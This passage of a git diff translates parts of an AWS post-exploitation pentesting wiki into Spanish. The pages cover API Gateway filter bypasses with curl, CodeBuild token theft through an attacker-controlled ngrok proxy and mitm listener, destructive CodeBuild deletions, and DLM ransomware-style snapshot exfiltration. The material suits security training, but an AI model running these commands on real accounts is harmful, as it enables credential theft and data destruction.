contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +Sin embargo, enviar una solicitud con **`Content-type: text/json`** evitaría ese filtro. -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta de dynamoDB arbitraria sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` +### Uso de Planes DoS -### Usage Plans DoS +En la sección de **Enumeración** puedes ver cómo **obtener el plan de uso** de las claves. Si tienes la clave y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**. -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. - -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +La **API Key** solo necesita ser **incluida** dentro de un **encabezado HTTP** llamado **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Un atacante con los permisos `apigateway:UpdateGatewayResponse` y `apigateway:CreateDeployment` puede **modificar una respuesta de Gateway existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API. > [!NOTE] -> Need testing +> Necesita pruebas ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +Un atacante con los permisos `apigateway:UpdateStage` y `apigateway:CreateDeployment` puede **modificar una etapa existente de API Gateway para redirigir el tráfico a una etapa diferente o cambiar la configuración de caché para obtener acceso no autorizado a datos en caché**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**Impacto Potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API. > [!NOTE] -> Need testing +> Necesita pruebas ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Un atacante con los permisos `apigateway:PutMethodResponse` y `apigateway:CreateDeployment` puede **modificar la respuesta del método de un método de API Gateway REST API existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API. > [!NOTE] -> Need testing +> Necesita pruebas ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API REST de API Gateway para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**. ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**Impacto Potencial**: Debilitar la seguridad de la API, permitiendo potencialmente el acceso no autorizado o exponiendo información sensible. > [!NOTE] -> Need testing +> Necesita pruebas ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +Un atacante con permisos `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` y `apigateway:CreateUsagePlanKey` puede **crear nuevas claves de API, asociarlas con planes de uso y luego usar estas claves para acceder no autorizado a las APIs**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` +**Impacto Potencial**: Acceso no autorizado a recursos de API, eludiendo controles de seguridad. -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. - -> [!NOTE] -> Need testing +> [!NOTA] +> Necesita pruebas {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..a59409efd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -1,35 +1,31 @@ -# AWS - CloudFront Post Exploitation +# AWS - CloudFront Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## CloudFront -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-cloudfront-enum.md {{#endref}} -### Man-in-the-Middle +### Hombre-en-el-Medio -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +Esta [**entrada de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde se podría agregar (o modificar si ya se está utilizando) una **Lambda** en una **comunicación a través de CloudFront** con el propósito de **robar** información del usuario (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### escenario 1: MitM donde CloudFront está configurado para acceder a algún HTML de un bucket -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **Crear** la **función** maliciosa. +- **Asociarla** con la distribución de CloudFront. +- Establecer el **tipo de evento en "Viewer Response"**. -Accessing the response you could steal the users cookie and inject a malicious JS. +Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### escenario 2: MitM donde CloudFront ya está utilizando una función lambda -- **Modify the code** of the lambda function to steal sensitive information +- **Modificar el código** de la función lambda para robar información sensible. -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Puedes consultar el [**código tf para recrear estos escenarios aquí**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..a826c330d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -1,88 +1,76 @@ -# AWS - CodeBuild Post Exploitation +# AWS - CodeBuild Post Explotación {{#include ../../../../banners/hacktricks-training.md}} ## CodeBuild -For more information, check: +Para más información, consulta: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### Verificar Secretos -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Si se han configurado credenciales en Codebuild para conectarse a Github, Gitlab o Bitbucket en forma de tokens personales, contraseñas o acceso a tokens OAuth, estas **credenciales se almacenarán como secretos en el administrador de secretos**.\ +Por lo tanto, si tienes acceso para leer el administrador de secretos, podrás obtener estos secretos y pivotar a la plataforma conectada. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### Abusar del Acceso al Repositorio de CodeBuild -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +Para configurar **CodeBuild**, necesitará **acceso al repositorio de código** que va a utilizar. Varias plataformas podrían estar alojando este código:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +El **proyecto de CodeBuild debe tener acceso** al proveedor de origen configurado, ya sea a través de **rol de IAM** o con un **token de github/bitbucket o acceso OAuth**. -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +Un atacante con **permisos elevados en un CodeBuild** podría abusar de este acceso configurado para filtrar el código del repositorio configurado y otros a los que las credenciales establecidas tienen acceso.\ +Para hacer esto, un atacante solo necesitaría **cambiar la URL del repositorio a cada repositorio al que las credenciales de configuración tienen acceso** (ten en cuenta que la web de aws listará todos ellos para ti):
-And **change the Buildspec commands to exfiltrate each repo**. +Y **cambiar los comandos de Buildspec para exfiltrar cada repositorio**. > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> Sin embargo, esta **tarea es repetitiva y tediosa** y si se configuró un token de github con **permisos de escritura**, un atacante **no podrá (ab)usar esos permisos** ya que no tiene acceso al token.\ +> ¿O sí? Consulta la siguiente sección -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### Filtrando Tokens de Acceso desde AWS CodeBuild +Puedes filtrar el acceso otorgado en CodeBuild a plataformas como Github. Verifica si se otorgó acceso a plataformas externas con: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +Un atacante podría eliminar un proyecto completo de CodeBuild, causando la pérdida de la configuración del proyecto e impactando las aplicaciones que dependen del proyecto. ```bash aws codebuild delete-project --name ``` +**Impacto Potencial**: Pérdida de la configuración del proyecto y interrupción del servicio para las aplicaciones que utilizan el proyecto eliminado. -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. - -### `codebuild:TagResource` , `codebuild:UntagResource` - -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. +### `codebuild:TagResource`, `codebuild:UntagResource` +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de CodeBuild, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas. ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +Un atacante podría eliminar las credenciales de origen para un repositorio de Git, afectando el funcionamiento normal de las aplicaciones que dependen del repositorio. ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**Impacto Potencial**: Disrupción del funcionamiento normal de las aplicaciones que dependen del repositorio afectado debido a la eliminación de credenciales de origen. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..67a0accd4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Recuperar Tokens Configurados de Github/Bitbucket +Primero, verifica si hay credenciales de origen configuradas que podrías filtrar: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Si encuentras que la autenticación, por ejemplo, a Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto. -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +Para este propósito, podrías **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen de Docker**. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +La imagen de Docker que podrías usar es [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una imagen de Docker muy básica que establecerá las **variables de entorno `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el CERT SSL indicado en **`SSL_CERT_FILE`**. -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **Crea y sube tu propia imagen de Docker MitM** +- Sigue las instrucciones del repositorio para establecer tu dirección IP de proxy y configurar tu certificado SSL y **construir la imagen de docker**. +- **NO CONFIGURES `http_proxy`** para no interceptar solicitudes al endpoint de metadatos. +- Podrías usar **`ngrok`** como `ngrok tcp 4444` para establecer el proxy en tu host. +- Una vez que tengas la imagen de Docker construida, **cárgala en un repositorio público** (Dockerhub, ECR...) +2. **Configura el entorno** +- Crea un **nuevo proyecto de Codebuild** o **modifica** el entorno de uno existente. +- Configura el proyecto para usar la **imagen de Docker generada previamente**.
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **Configura el proxy MitM en tu host** +- Como se indica en el **repositorio de Github**, podrías usar algo como: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> La **versión de mitmproxy utilizada fue 9.0.1**, se informó que con la versión 10 esto podría no funcionar. -4. **Run the build & capture the credentials** +4. **Ejecutar la construcción y capturar las credenciales** -- You can see the token in the **Authorization** header: +- Puedes ver el token en el encabezado de **Authorization**: -
- -This could also be done from the aws cli with something like +
+Esto también se podría hacer desde la aws cli con algo como ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL **Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. +Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma. - First you need to enumerate the current configuration with something like: - ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- Luego, con la información recopilada, puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de cómo actualicé un proyecto, nota el **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada). +- Además, agrega también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu tcp ngrok como: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables del proxy (http_proxy y https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Finalmente, haz clic en **Construir el proyecto**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
-### ~~Via HTTP protocol~~ +### ~~A través del protocolo HTTP~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante no puede abusar de ella más :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token OAuth temporal utilizado para acceder al código**. -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto de CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Luego, cambia la URL del repositorio de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions` +- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto señalado por las variables de proxy (http_proxy y https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- A continuación, haz clic en **Build the project** o inicia la construcción desde la línea de comandos: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Finalmente, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que usando el servicio CodeBuild directamente. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..9c452bc7e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,17 +8,11 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### Habilitar / Deshabilitar Controles +Para explotar aún más una cuenta, es posible que necesite deshabilitar/habilitar los controles de Control Tower: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..8a15cd594 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -1,99 +1,91 @@ -# AWS - DLM Post Exploitation +# AWS - DLM Post Explotación {{#include ../../../banners/hacktricks-training.md}} -## Data Lifecycle Manger (DLM) +## Administrador del Ciclo de Vida de Datos (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +Un ataque de ransomware puede ejecutarse encriptando la mayor cantidad posible de volúmenes EBS y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, encriptando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas encriptadas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin encriptar a una cuenta que gestionan y luego encriptarlas allí. Aunque no es sencillo encriptar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea. -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +Primero, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de encriptación, el estado de adjunto y el tipo de volumen. `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles específicos de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +Un template para el documento de política se puede ver aquí: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - 